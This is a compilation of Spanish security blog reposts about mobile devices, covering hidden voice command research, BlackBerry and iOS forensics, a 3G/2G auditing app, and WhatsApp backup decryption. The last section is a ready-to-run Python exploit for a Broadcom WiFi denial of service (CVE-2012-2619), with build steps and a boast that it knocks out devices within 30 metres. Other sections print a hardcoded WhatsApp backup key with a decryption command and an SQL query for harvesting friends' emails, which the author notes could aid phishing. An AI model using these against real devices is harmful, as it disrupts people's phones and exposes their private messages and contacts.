Nueva técnica para hackear dispositivos móviles mediante comandos de voz ocultos en vídeos de Youtube

Un grupo de investigadores de la Universidad de Berkeley California y la Universidad de Georgetown ha ideado un método para hackear dispositivos móviles mediante el uso de comandos de voz ocultos en vídeos de YouTube. 

Y no necesariamente tiene que reproducirlo la víctima, basta con que reciba el sonido desde otro ordenador, televisión inteligente, teléfono, tablet, etc., los comandos ocultos serán recibidos por los asistentes Google Now! o Siri que los filtrarán del ruido ambiente y los ejecutarán.

Los investigadores publicaron los detalles de la técnica en un artículo titulado "Hidden Voice Commands"

"En este paper exploramos cómo pueden ser atacados con comandos de voz ocultos que son ininteligibles para los oídos humanos pero interpretados como comandos por algunos dispositivos".

Los investigadores han publicado un vídeo PoC del ataque en caja negra que se lleva a cabo con presencia de ruido de fondo y el teléfono objetivo a una distancia de varios metros de los altavoces utilizados para reproducir el audio/ataque.

Url del video: https://youtu.be/HvZAZFztlO0

Los atacantes pueden ocultar varios tipos de comandos en los videos, incluyendo las instrucciones para descargar e instalar un código malicioso desde un host determinado.

Los investigadores también sugieren una serie de contramedidas, incluyendo una notificación cada vez que un comando de voz es recibido por el móvil o la adopción de un sistema de pregunta-respuesta verbal.

Para más detalles técnicos os recomiendo echar un vistazo a la página oficial del proyecto: http://www.hiddenvoicecommands.com/

Fuente: http://www.hackplayers.com/2016/07/hackean-moviles-comandos-voz-youtube.html

Blackberry IPD Research - The “Phone History” Database

On newer Blackberry phones, a db called the “Phone History” is now present (in IPD files). Anyone who has tried to parse a blackberry (BB) IPD file (or messed with the advanced syncing options in the BB Desktop Manager) will know that it consists of several databases internally. The IPD file is like a TAR archive of all these databases. The database that stores all call history information is the “Call Logs” database. Most tools (free and commercial) all deal with the database just fine. Now RIM has now introduced a new database called “Phone History” which also stores Call log information, albeit not in its entirety. On RIM’s website, the only description for this database is:

 “Stores information pertaining to phone call history with specific participants (complete history of incoming and outgoing phone calls with selected recipients)”

But the IPD file I have with me does not seem to adhere to RIM’s definition. After some discussions with the folks at the DFIR mailing list, Chris Pavan (42 LLC), Shafiq Punja (who has been a keen researcher of IPD files for a long time) and the CTO of Oxygen Forensics (which claims to parse this db but did not work for my ipd), it seems that the exact purpose of this db is yet unknown. Shafiq has also seen this and tells me that RIM snuck in this new db somewhere in the beginning of 2011. Oxygen Forensic's CTO had this to say:

“What we think about this DB is that its data is used as a dictionary of phone numbers used for substitution when a user is typing a new message and entering the number. So even if a record with this phone number has been deleted from the log this number can be used for substitution. Also, it looks like that durations for each record reflect cumulative length of all calls related to this phone number, not a single call. So, this DB is not a kind of copy of the Call Log but a separate data...”

Analyzing the “Phone History” Database

What I’ve noticed is that not every call has an entry here, only the last time a call was made. So if there were 100 calls but only to 10 unique numbers for which calls were received/placed/missed, then 10 entries would be found here each storing the last time called. You do find multiple entries for the same number at times, but they are separated by a month or more. Regardless of how or why RIM puts these entries here, the fact is that they are present and are very good sources of evidence of call activity. The normal "Call Logs" db only has calls for 30 days, but this database has entries that are much older. BB allows a user to selectively delete call records, these have a 1:1 relationship with the "Call Logs" db, so if a user deletes a call record, it gets deleted there too. But since a user has no interaction with the "Phone History" db, if an entry was made here by the BB internally, then it stays put, in effect, giving the investigator "deleted call data". This db captures the date & time of call, phone number, contact name and call type information, only not the call duration!

Technical Specifications for parsing “Phone History” db

The format of each DB record header (same for every record in IPD file) is
2 byte DB ID
4 byte Length
3 bytes version + record Handle
4 bytes record ID

This is followed by the individual fields, having this format:
2 byte Field Length
1 byte Field Type
x byte Field Data (x = Field Length)

Each record within the DB consists of a header and several fields. Fields present in the "Phone History" db are shown below.

ID	Field
1	0x73 always
2	Unknown, could be number of times called
3	Date/Time of Last Call (Format is BB date, same used in Call Logs)
4	Call Type (PLACED = 1, RECEIVED = 0, MISSED =2)
5	Phone Number (ASCII String)
6	0 or 0xFFFFFFFFFFFFFFFF only
7	Unknown Record UID of contact?
8	Always 1
9	DB Record UID
10	Name of Contact (ASCII String)

Below is a db snippet in a hex editor for a single record.

Please drop me an email or a comment if you have anything to share regarding the "Phone History" db.

Fuente: http://www.swiftforensics.com/2012/01/blackberry-ipd-research-phone-history.html

Auditoría de seguridad de redes UMTS (3G) y GSM (2G) en tu móvil

Hace unos años aparecía una herramienta OpenSource revolucionaría que nos permitiría conocer muchos secretos de las redes GSM; OsmocomBB. Tras este proyecto, SRLabs en un intento de modernizar la solución y facilitar el uso, hizo posible analizar trazas de las redes UMTS y GSM en un dispositivo móvil en un nuevo proyecto: la aplicación para Android GSMmap . Para poder evaluar las capturas de esta aplicación y con ello ver qué está pasando en estas redes, es necesario instalar otra aplicación: xgoldmon, de Tobias Engel, que debe ser ejecutada en un PC bajo Linux.

¿Tobias Engel? Efectivamente, os debe sonar este nombre ya que fue él quien realizó en la 25C3 la impactante presentación de cómo localizar teléfonos móviles en las redes SS7:

Es probable que a muchos no os suene a nada el acronimo "SS7", pero desde luego que es el corazón de las interconexiones de redes internacionales (Roaming), formado por un conjunto de protocolos de uso muy común: SCCP, ISUP, INAP, MAP ... desarrollado por AT&T a partir de 1975. 

Pues bien, Tobias Engel y Ravishankar Borgaonk han creado una nueva aplicación para Android totalmente independiente, sin necesidad de otro software en el PC: Darshak (ver código fuente) que examinaremos a continuación con todo detalle en este artículo y como no, pondremos a prueba. La aplicación examina la información del interfaz de Anroid Radio Interface Layer (RIL) para detectar eventos anormales y presentarlos al usuario; llamadas sin cifrar, sin autenticar, etc. Dentro de estos eventos se encuentran los famosos SMS invisibles (silent SMS), utilizados para localizar a un usuario dentro de la red móvil o para instalar una aplicación Java en nuestra SIM, como demostró Karsten Nohl en su conocida charla de la BlackHat 2013: Rooting SIM cards.

• Requisitos

Para poder utilizar la aplicación darshak necesitamos:

1. Teléfono Samsung Galaxy S3 (GT I9300) aunque en alguna presentación los autores han hecho mención al Samsung Galaxy S2. 
2. Version 4.1.2 de Android. Recomiendo descargarla de Sammobile
3. Rootear el teléfono. Los autores aconsejan utilizar framaroot, aunque en mi caso ninguna versión encontró un exploit adecuado y acabé recurriendo a Odin y el mod CF-Root creado por el desarrollador Chainfire (version CF-Root 6.4).
4. Configurar el modo DEBUG del teléfono a "HIGH". Para ello, en la aplicación marcador del teléfono, escribimos el código *#9900#, veremos la opción "Debug Level Enabled" y marcaremos el valor a "HIGH". Tras esto el teléfono se reiniciará.

Si no tenemos problemas de último momento, en un par de horas hemos subido la versión de Android y rooteado el teléfono, descargado la aplicación del Android Market y ya estamos listos para analizar las redes 3G y 2G.

• Uso de la aplicación

Nos encontraremos ante una pantalla vacia, con una estructura de tabla donde podemos leer:

· Fecha (Date): Timestamp del momento en el que se detecta el evento/alarma.

· Tipo de Red (Network type): indica el tipo de red que estamos utilizando en el momento del evento, si es 2G o 3G.

· Evento (Event): indica si se trata de llamada saliente o entrante, mensaje saliente o entrante.

· Autenticación (Authentication): mostrará una bola verde si todo ha ido bien o roja en caso de no haberse autenticado el evento. Es decir, si hemos realizado una llamada y la red no nos ha solicitado autenticarnos, entonces veremos la bola roja.

· Cifrado (Encryption): De igual modo que antes, si el evento ha sido cifrado veremos la bola verde, pero si el evento ha tenido lugar en plano, bola roja.

· Eliminar (Remove): Eliminar el evento de la aplicación.

Presionando sobre cualquier campo excepto en Eliminar, se abrirá otra ventana con más información sobre el evento, donde encontraremos información muy útil que veremos a continuación. En contra de lo que podamos pensar, hay que darle al boton de "Refresh logs" cada cierto tiempo porque la aplicación no se auto-refresca todo lo bien que debería (¡punto de mejora!).

• Vamos a poner la aplicación a prueba

Para muchos usuarios con llegar a este punto ya puede ser suficiente, tenemos la aplicación instalada y esperamos que un día al refrescar aparezca un evento en la pantalla principal de darshak. Si no podemos esperar y queremos comprobar cómo funciona, vamos a generar llamadas y mensajes en 3G y en 2G, sometiendo la aplicación a situaciones provocadas para comprobar que efectivamente son detectadas y reportadas. Veremos también métodos para obtener las evidencias de estos eventos/alarmas, fundamental en toda auditoría de seguridad.

Para generar llamadas y mensajes cortos vamos a utilizar la aplicación GSMmap, de la que hemos hablado en la introducción. En los ajustes del télefono vamos a forzar a sólo utilizar redes GSM (2G) o sólo utilizar redes UMTS/WCDMA (3G) para a continuación ejecutar GSMmap. Tan sólo tenemos que entrar en modo contribuir información (Contribute), aceptar el disclaimer y presionar sobre "Run Test":

Una vez haya finalizado todo el ciclo (por defecto 5 iteraciones de 4 pruebas), salimos de la aplicación para abrir darshak:

Vaya ... ya sabíamos que las redes GSM no autentican todas las operaciones, tal y como pudimos leer en otro artículo de Security by Default, pero ... ¿ Sólo 2 de 9 han sido autenticadas? ¡No parece mucho ! Vamos a abrir uno de estos eventos pulsando sobre la fecha. A continuación podemos ver dos llamadas de ejemplo, en una sí se ha solicitado la autenticación por parte de la red y en la otra no:

Parece increíble, tenemos una cantidad de información valiosísima en esta pantalla:

1. Los algoritmos de cifrado que soporta nuestro teléfono.
2. El TMSI que está utilizando la SIM (TMSI: Identidad Temporal de la SIM) .
3. El evento, en este caso una llamada realizada por nuestro móvil (OUTGOING CALL), y que ha sido cifrada (Network operator is requesting to start ciphering).
4. El algoritmo con el que finalmente se va a cifrar la llamada (¡¡A5/3 !! ¡¡Por fin !!).
5. En el caso del evento alarmado, vemos que la red no ha pedido ningún tipo de autenticación, ni siquiera una identificación del terminal (IMEI).
6. En el otro caso, vemos bajo GSM_INIT_AUTH_REQ el número aleatorio (RAND) que la red ha enviado a la SIM para autenticarnos.

En este punto, a parte de mi asombro al poder contar con esta información en el móvil allí donde vaya, me pregunto si al abrir las trazas de la aplicación GSMmap me encontraré con la misma información, para así acabar de convencerme de que esta aplicación es realmente una maravilla.

En la ruta donde se instala la aplicación GSMmap en el móvil encontraremos las trazas de las pruebas (/Android/data/de.srlbas.gsmmap/files), copiamos el fichero a nuestro PC y lo abrimos con xgoldmon:

/opt/xgoldmon# ./xgoldmon -t s3 -l -i 127.0.0.1 xgs.GT-I9300.20141007-195238.GSM.zzzz.sms_mt.4.log

Antes de ejecutar xgoldmon, abrimos wireshark escuchando en el puerto 4729 para ver las trazas:

Podemos ver en la primera imagen que efectivamente en el proceso de autenticación se ha utilizado ese número RAND. Si continuamos, en la seguna imagen podemos ver los mensajes Ciphering Mode Command y Complete, en los que también comprobamos que estamos utilizando el algoritmo A5/3, como remarco en rojo en la imagen.

Si repetimos el proceso para una llamada UMTS, podemos ver los mensajes SecurityModeCommand y SecurityModeComplete, a partir de los cuales el resto de señalización estará cifrada. En rojo he marcada el algoritmo UEA1, mientras que en amarillo la secuencia de autenticación y cifrado.

Para no alargar el artículo, resumo mi experiencia comentando que he podido comprobar que la aplicación refleja perfectamente estos eventos en las redes 2G, aunque en 3G tienen que corregirse algunos bugs sobre alarmas falsas de cifrado:

Cuando investigamos las trazas, vemos que la llamada sí se ha cifrado con los algoritmos UEA1 y UIA1, pero debido a este fallo,el evento es presentado con alarma. Según he podido confirmar con los autores de la aplicación, en unas semanas se publicará la siguiente versión de la aplicación que corrige este fallo.

• Para terminar.

Cuando estaba alucinando con esta aplicación, pensé en el único punto negativo que se me ocurría; cuando vea una alarma en el móvil, no tendré más trazas/evidencias de lo que ha pasado que el evento de la aplicación. Pero me estaba equivocando, sí las tenemos en una base de datos sqlite3.

Si queremos investigar cualquier evento notificado por la aplicación, debemos buscarlo dentro de la base de datos sqlite3 que se encuentra en /data/data/darshak/databases/

Investigando dentro podemos llegar a ver la ráfaga UMTS o GSM que ha causado el evento en la aplicación, dejo a vuestra disposición una pequeña captura que muestra cómo ver los eventos mostrados y para uno de ellos (ID 31), ver la información ampliada.

sqlite3 /Darshak/DarshakDB
SQLite version 3.8.2 2013-12-06 14:53:30
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .tables
CELLULAR_EVENT    PACKET            PROFILE_PARAMS  
LOG               PACKET_ATTR       android_metadata
sqlite> select * from LOG;
23|1412579648961|2|4|XXXXX|1
...
59|1412747333774|1|1|XXXXX|0
sqlite> 
sqlite> select * from LOG where UID='23';
23|1412579648961|2|4|XXXXXX(operadora)|1
sqlite> 
sqlite> select * from PACKET where UID='7';
7|23|1412579648961|5|05 12 00 E1 47 DE 16 32 0F 72 89 46 01 6A 31 3F 2A 18 22 20 10 34 68 45 1E 78 AE 00 00 13 ED 2E D8 F4 38 C9 44 |0
sqlite> 
sqlite> select * from PACKET_ATTR where PACKET_UID='7';
19|7|1412579648961|1|E1 47 DE 16 32 0F 72 89 46 01 6A 31 3F 2A 18 22 |RANDOM Number : E1 47 DE 16 32 0F 72 89 46 01 6A 31 3F 2A 18 22 
20|7|1412579648961|19|34 68 45 1E 78 AE 00 00 13 ED 2E D8 F4 38 C9 44 |AUTN Number : 34 68 45 1E 78 AE 00 00 13 ED 2E D8 F4 38 C9 44 
sqlite>   

Si ahora os fijáis en los datos de la llamada en 3G que hemos visto en la imagen anterior, podéis ver que los número RANDOM y AUTN son los mismos, pero ahora tenemos acceso a la ráfaga entera, la cual nos va a permitir conocer más detalles:
05 12 00 E1 47 DE 16 32 0F 72 89 46 01 6A 31 3F 2A 18 22 20 10 34 68 45 1E 78 AE 00 00 13 ED 2E D8 F4 38 C9 44

• Conclusiones.

Hace unos meses los compañeros de Layakk nos presentaron en la RootedCon su ataque a 3G. Quienes pudimos ver la charla nos quedamos con muchas dudas sobre cómo se ha implementado la seguridad en esta red, dudas que hoy gracias a darshak podemos despejar sin mucho esfuerzo, simplemente utilizando nuestros móviles para luego analizar la información que nos aportan.

¿Se cifran todas las llamadas en 3G? ¿Se autentican todos los eventos?¿Cada cuanto tiempo se refresca nuestro TMSI/P-TMSI/GUTI?

A veces es preferible no conocer las respuestas a estas preguntas para seguir con esa agradable sensación de falsa seguridad que nos proporciona el desconocimiento, pero si quieres conocer qué pasa en las redes móviles, te recomiendo probar darshak.

 

Fuente: http://www.securitybydefault.com/2014/10/auditoria-de-seguridad-de-redes-umts-3g.html

Análisis Forense Digital en Dispositivos Móviles (BarCamp Security Edition)

La presentación (DesConferencia) hace un recorrido por las diferentes definiciones y términos relacionados con el Análisis Forense Digital dirigido a Dispositivos Móviles (en específico Smartphones), los datos que podemos extraer, los diferentes lugares en los cuales podemos ubicar la información, algunas reglas y metodologías a tener siempre presentes antes y durante el procedimiento, así como una prueba de concepto de un análisis automatizado a un dispositivo BlackBerry Smartphone.

Presentacion: http://issuu.com/elhacklab/docs/desconf_bcse_digital_forensics_mobile_devices_-_4v/3

Saludos.

Fuente: Sec-Track
http://underc0de.org/foro/index.php?topic=13114.0

Facebook te regala una base de datos con los emails de tus amigos

Buenos días!

Trasteando con apps en IOS, entre ellas facebook. Y me he dado cuenta de que en la base de datos que guarda en nuestro dispositivo, guarda también los emails de nuestros amigos de facebook! Sí, los emails que usan para acceder a su cuenta!
Esto podría facilitar que se realizase phishing enviando un email..

Pero donde esta la base de datos? Como la obtengo?.

Necesitaremos iTools 2013 para acceder a los archivos de las apps de nuestro dispositivo. Accedemos a los archivos de Facebook "/Library/Preferences". Una vez dentro, la base de datos que nos interesa se encuentra en: "/Library/Caches". Y es el archivo llamado "fbsyncstore.db". Para poder abrirlo, ya sabéis, arrastramos al escritorio y lo abrimos con SQLite Manager (extensión de Firefox).

Una vez abierto, la tabla que nos interesa, es la llamada "contact_points". En esta tabla tenemos los emails de nuestros contactos e incluso los teléfonos móviles. Como podréis ver, en la  tabla no hay columna de nombre o apellidos, solo de ID, así que nos es fácil ver a quien pertenece cada email.. Pero tenemos una tabla llamada "people" que si tiene relacionados los IDs y los nombres y apellidos.. Así que con una simple consulta SQL podemos ver fácilmente a quien corresponde cada email. Esta consulta, por ejemplo:
SELECT first, last, value FROM contact_points E, people P where contact_point_id like '%contact_email%' and P.person_id=E.person_id

Y nos dará un resultado como este:

Y esto es todo! Me parecía curioso e interesante publicar esto :)

Espero les haya gustado!
Un saludo y hasta la próxima!

Fuente: http://elladodelnovato.blogspot.com/

Descifrando el fichero msgstore.db.crypt de WhatsApp

 

La base de datos de mensajes de WhatsApp se guarda en un fichero en  formato SQLite. En el caso de los teléfonos IOS este fichero está en la ruta: [ID de App]/Documents/ChatStorage.sqlite y en el caso de los teléfonos Android en: /com.whatsapp/databases/msgstore.db. Este fichero está sin cifrar tal y como decía Yago el año pasado y requiere que el teléfono este jailbreakedo para acceder a el.

En el caso de Android además existe un fichero de backup que se almacena  en la tarjeta externa de memoria y que tampoco estaba cifrado. Esto cambió en una actualización que sufrió la aplicación después de los comentarios de Yago. De esta forma si se pierde el teléfono o lo roban, aunque tengan la tarjeta no podrán leer los mensajes.

Por desgracia, el cifrado que utiliza la aplicación (AES-192-ECB) en el fichero de backup siempre la hace usando la misma key (346a23652a46392b4d73257c67317e352e3372482177652c), y ningún factor único de cada dispositivo, por lo que se pueden recuperar los mensajes de cualquier móvil de la misma forma y en pocos segundos.

Si por cualquier motivo os veis en esta situación, para descifrar el fichero y acceder a la base de datos se puede hacer de forma sencilla con OpenSSL (fuente y binario para windows), con el siguiente comando, donde tan solo hay que especificar el fichero de entrada (-in) y el de salida (-out) con los nombres que correspondan:

Data provided by Pastebin.com - Download Raw - See Original

openssl enc -d  -aes-192-ecb -in msgstore-1.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c

Para todos aquellos que lo quieran aún más fácil, he montado una web  temporal para hacerlo automáticamente  subiendo el fichero cifrado: http://www2.unsec.net/whatsapp/. http://www.recovermessages.com

Fuente:
http://www.securitybydefault.com/2012/05/descifrando-el-fichero-msgstoredbcrypt.html

Biografía:
http://villatux.blogspot.com/2013/04/analisis-forence-whatsapp-cracking.html
http://multimaniaco.wordpress.com/2013/04/15/recuperando-conversaciones-de-whatsapp-a-partir-de-los-ficheros-de-android-en-os-x/
http://www.securitybydefault.com/2013/02/recuperar-mensajes-borrados-de-whatsapp.html
http://translate.googleusercontent.com/translate_c?depth=1&hl=es&prev=/search%3Fq%3Div%2Bundefined%2Bopenssl%26biw%3D1137%26bih%3D444&rurl=translate.google.com.co&sl=en&u=http://security.stackexchange.com/questions/29106/openssl-recover-key-and-iv-by-passphrase&usg=ALkJrhg3p0eecCftQJGE0lV578_hgB8X2Q
http://gonzac-studios.blogspot.com/2012/06/hack-desencriptar-y-obtener-datos-de.html

Denegación de servicio a multitud de smartphones vía WiFi

Estaba en mi casa tranquilamente decidiendo sobre el tema de una nueva entrada para hackplayers, cuando de pronto me llegó el siguiente email que os lo dejo integro tal y como lo recibí. Jejeje así me ahorro unos cuantos caracteres y me sirve de intro, que ando algo malito por el cambio estacional:

"Se ha publicado una vulnerabilidad presente en determinados Chipset de la firma Broadcom, en especial los modelos BCM4325/29 integrados en multitud de dispositivos inalámbricos como smartphones, tablets e incluso vehículos (como el Ford Edge).

El fallo permitiría realizar una denegación de servicio al módulo inalámbrico e incluso la revelación de información sensible según los propios investigadores. El fallo podría reproducirse atacando directamente al módulo WiFi independientemente del sistema operativo presente en el dispositivo. 

La vulnerabilidad (CVE-2012-2619) reportada por el laboratorio de CoreLabs (Core Security Technologies) fue descubierta por el investigador argentino Andrés Blanco, el cual que hizo una demostración pública durante la pasada Ekoparty en Buenos Aires, Argentina. Su compañero Matias Eissler desarrolló la prueba de concepto totalmente funcional. 

Mediante estudios de ingeniería inversa consiguieron comprender la estructura del firmware de los dispositivos Broadcom, hallando la forma de alterar el tráfico WiFi (normativa IEEE 802.11) de tal manera que afectara a dichos dispositivos inalámbricos a través del envío de tramas RSN (IEEE 802.11i, WPA/WPA2) especialmente manipuladas. 

El protocolo RSN (Robust Security Network) interviene en la negociación y establecimiento del tipo de autenticación y cifrado utilizado durante una sesión WPA/WPA2. 

En coordinación con los investigadores y el US-CERT, Broadcom facilitó 
a los diferentes fabricantes (Apple, HTC, Motorola, Sony, Nokia, Samsung...) un nuevo firmware que impide la vulnerabilidad para integrarlo en sus dispositivos, "por lo que se da como subsanada" XDD. 

Los dispositivos afectados con el chipset BCM4325: 

• Apple iPhone 3GS 
• Apple iPod 2G 
• HTC Touch Pro 2 
• HTC Droid Incredible 
• Samsung Spica 
• Acer Liquid 
• Motorola Devour 
• Vehículo Ford Edge 

Dispositivos afectados con el chipset BCM4329: 

• Apple iPhone 4 
• Apple iPhone 4 Verizon 
• Apple iPod 3G 
• Apple iPad Wi-Fi 
• Apple iPad 3G 
• Apple iPad 2 
• Apple Tv 2G 
• Motorola Xoom 
• Motorola Droid X2 
• Motorola Atrix 
• Samsung Galaxy Tab 
• Samsung Galaxy S 4G 
• Samsung Nexus S 
• Samsung Stratosphere 
• Samsung Fascinate 
• HTC Nexus One 
• HTC Evo 4G 
• HTC ThunderBolt 
• HTC Droid Incredible 2 
• LG Revolution 
• Sony Ericsson Xperia Play 
• Pantech Breakout 
• Nokia Lumina 800 
• Kyocera Echo 
• Asus Transformer Prime 
• Malata ZPad"

Bueno una vez vista la noticia, gracias a los chicos de hispasec.com vamos a ver de que va un poco todo esto:

A la noticia le acompañaba el siguiente script de python, el cual en principio tiene un par de erratas que supongo pusieron a propósito ;D. Así que editamos el código en nuestro editor preferido y corregimos:

*Poned especial atencion en los campos que he coloreado.
Enlace al codigo: http://pastebin.com/KNiAx2Vw

---------------------------------------------------------------------------------------------
#!/usr/bin/env python 

import sys 
import time 
import struct 
import PyLorcon2 

def beaconFrameGenerator(): 
    sequence = 0 
    while(1): 
        sequence = sequence % 4096 

        # Frame Control 
        frame = '\x80' # Version: 0 - Type: Managment - Subtype: Beacon 
        frame += '\x00' # Flags: 0 
        frame += '\x00\x00' # Duration: 0 
        frame += '\xff\xff\xff\xff\xff\xff' # Destination: ff:ff:ff:ff:ff:ff 
        frame += '\x00\x00\x00\x15\xde\xad' # Source: 00:00:00:15:de:ad 
        frame += '\x00\x00\x00\x15\xde\xad' # BSSID: 00:00:00:15:de:ad 
        frame += struct.pack('H', sequence) # Fragment: 0 - Sequenence: 
#part of the generator 
        # Frame Body 
        frame += struct.pack('Q', time.time()) # Timestamp 
        frame += '\x64\x00' # Beacon Interval: 0.102400 seconds 
        frame += '\x11\x04' # Capability Information: ESS, Privacy, 
#Short Slot time 
        # Information Elements 
        # SSID: buggy 
        frame += '\x00\x05buggy' 
        # Supported Rates: 1,2,5.5,11,18,24,36,54 
        frame += '\x01\x08\x82\x84\x8b\x96\x24\x30\x48\x6c' 
        # DS Parameter Set: 6 
        frame += '\x03\x01\x06' 
        # RSN IE 
        frame += '\x30' # ID: 48 
        frame += '\x14' # Size: 20 
        frame += '\x01\x00' # Version: 1 
        frame += '\x00\x0f\xac\x04' # Group cipher suite: TKIP 
        frame += '\x01\x00' # Pairwise cipher suite count: 1 
        frame += '\x00\x0f\xac\x00' # Pairwise cipher suite 1: TKIP 
        frame += '\xff\xff' # Authentication suites count: 65535 
        frame += '\x00\x0f\xac\x02' # Pairwise authentication suite 2: PSK 
        frame += '\x00\x00' 

        sequence += 1 
        yield frame 

if __name__ == "__main__": 
    if len(sys.argv) != 2: 
        print "Usage:" 
        print "\t%s <wireless interface>" % sys.argv[0] 
        sys.exit(-1) 

    iface = sys.argv[1] 
    context = PyLorcon2.Context(iface) 
    context.open_injmon() 

    generator = beaconFrameGenerator() 

    for i in range(10000): 
        frame = generator.next() 
        time.sleep(0.100) 
        context.send_bytes(frame) 

---------------------------------------------------------------------------------
Cerramos nuestro editor guardando el archivo como poc.py.

Para llevar a cabo la prueba de concepto, que el script sea funcional y echándole un ojo al código, nos damos cuenta que necesitamos tener instalado PyLorcon2 

Procederemos a bajarlo directamente desde la consola:

svn co http://802.11ninja.net/svn/lorcon/tags/lorcon2-200911-rc1/ lorcon2-200911-rc1

Instalamos el software necesario para construir lorcon2 and pylorcon2.

sudo apt-get install libpcap-dev libnl-dev python-dev

procederemos a compilar lordcom2:

$ cd lorcon2-200911-rc1
$ ./configure --libdir=/usr/lib...
$ make...
$ sudo make install...

El próximo paso será bajarnos e instalar pylorcom2:

$ svn co http://pylorcon2.googlecode.com/svn/trunk pylorcon2
...
$ cd pylorcon2...
$ python setup.py build...
$ python setup.py install...

ahora testeamos el funcionamiento:

y procedemos a la prueba de concepto:

En seguida veremos a nuestra tarjeta de red "echa mistos":
 

y voilá!!! Cualquier dispositivo wifi con los chipset anteriormente mencionados caerá fulminado  ..a 30 mts a la redonda... con tan sólo realizar un escaneo de redes...

Sed buenos :D

Fuentes: http://unaaldia.hispasec.com/
              http://code.google.com/p/pylorcon2/
http://www.hackplayers.com